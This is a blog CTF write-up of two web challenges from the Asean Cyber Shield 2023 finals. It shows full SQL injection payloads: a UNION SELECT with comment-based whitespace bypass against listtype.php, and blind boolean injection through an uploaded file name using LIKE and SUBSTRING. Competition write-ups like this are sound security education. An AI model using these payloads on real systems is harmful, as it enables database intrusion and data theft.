Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Asean Cyber Shield 2023 Finals Write-up

Introduction


At first, we were kind of sad since our team score didn’t get into top 5 at the end of the qualifier. But by some miraculous event, we got into top 5 after write-up evaluation! I still remember waking up Naavin and jumped happily as we got to the finals. Good times. The challenges in final were a little bit harder because it was more to reading commits, source code of CMS and exploiting with your own POC. Another fun thing, it’s the first time I’ve seen a game mode of attack and defense like this. We call it jeopardy-defense

Big thanks to our supporter RE:HACK and NACSA for supporting us to compete in this very prestigious event!

Web


Ziggerling

We solved this challenge by looking at the logs and logging the $_GET and $_POST requests.

When we do cat /var/log/apache2/access.log, we found the log as below.

192.168.0.52 - - [23/Nov/2023:11:20:39 +0000] "POST //shop/listtype.php HTTP/1.1" 200 6282 "-" "Mozilla/5.0"
192.168.0.52 - - [23/Nov/2023:11:20:39 +0000] "POST //mobile/shop/listtype.php HTTP/1.1" 200 1492 "-" "Mozilla/5.0"
192.168.208.1 - - [23/Nov/2023:11:40:49 +0000] "-" 408 0 "-" "-"
192.168.0.52 - - [23/Nov/2023:11:50:40 +0000] "POST //shop/listtype.php HTTP/1.1" 200 6282 "-" "Mozilla/5.0"
192.168.0.52 - - [23/Nov/2023:11:50:40 +0000] "POST //mobile/shop/listtype.php HTTP/1.1" 200 1492 "-" "Mozilla/5.0"
192.168.0.52 - - [23/Nov/2023:11:57:30 +0000] "POST //shop/listtype.php HTTP/1.1" 200 6282 "-" "Mozilla/5.0"
192.168.0.52 - - [23/Nov/2023:11:57:30 +0000] "POST //mobile/shop/listtype.php HTTP/1.1" 200 1492 "-" "Mozilla/5.0"

This seems like a way of how the flag checker sees if it has been patched or not.

Knowing this, we have setup logging of $_GET and $_POST requests to every endpoint the flag checker visits.

if ($_SERVER['REQUEST_METHOD'] === 'POST' || $_SERVER['REQUEST_METHOD'] === 'GET') {
    $data = var_export($_POST, true);
    $data .= var_export($_GET, true);
    
    $baseFilename = 'request_logs';
    $fileExtension = '.txt';
    $fileNumber = 1;
    
    $filename = $baseFilename . $fileExtension;

    // Check if file already exists
    while (file_exists($filename)) {
        $fileNumber++;
        $filename = $baseFilename . $fileNumber . $fileExtension;
    }

    file_put_contents($filename, $data); // Create a new file or increment the number in the filename
}

After that we wait a while until the next tick, and luckily we did manage to get the payload used by the flag checker inside the request_logs.txt!

'type' => '1/**/union/**/select/**/1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1/**/from/**/FLAG#'

After understanding how the payload works, we will modify it and here is our final payload and we'll pass it to the listtype.php.

1/**/union/**/select/**/1331-1,1338-1,1338-1,1338-1,1338-1,1338-1,1338-1,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag,flag/**/from/**/FLAG#

Visit the endpoint /shop/listtype.php and pass the payload to type param. And we will get our flag!

Image in a image block
Flag: ACS{strict_comparison_is_always_right}
Zigger Zagger

If we click on a blog post and click reply, we are taken to http://192.168.0.52:22030/sub/board/news?mode=write&wrmode=reply&read=.

We found that if we upload a file, the file name is being sent in the SQL query and it is not filtered.

Making a file that escapes the quotes such as (test.html') will result in an error.

At first, we craft a payload to perform blind boolean injection via the file name:

test.phtml', 'N', 'N', 30079, now()) UNION select 1337-1, 1337-1, 1337-1, 1337-1, 1337-1, flag from flag WHERE flag LIKE 'ACS{%'

This payload will have 2 results. If the string inside of '{%' matches the flag, it will show a javascript alert() popup. If the flag does not match, we will be redirected to another page.

With this, we can bruteforce the letters of the flag one by one! We took more than 1 hour to get:

ACS{zigger_qli_oodvery_ood}

However, this isnt the flag. For some reasons, certain underscores are somehow flagged as valid. So we thought for a long time and come up with the new payload:

test.phtml', 'N', 'N', 30079, now()) UNION select 1337-1, 1337-1, 1337-1, 1337-1, 1337-1, flag from flag WHERE flag LIKE 'A%' AND SUBSTRING(flag,1,1)='B'#

We only had 10 minutes after coming out with this payload. With our previously made false flag, we were able to guess the correct flag.

Flag: ACS{ziggersqligoodverygood}

Thanks for reading my write-up!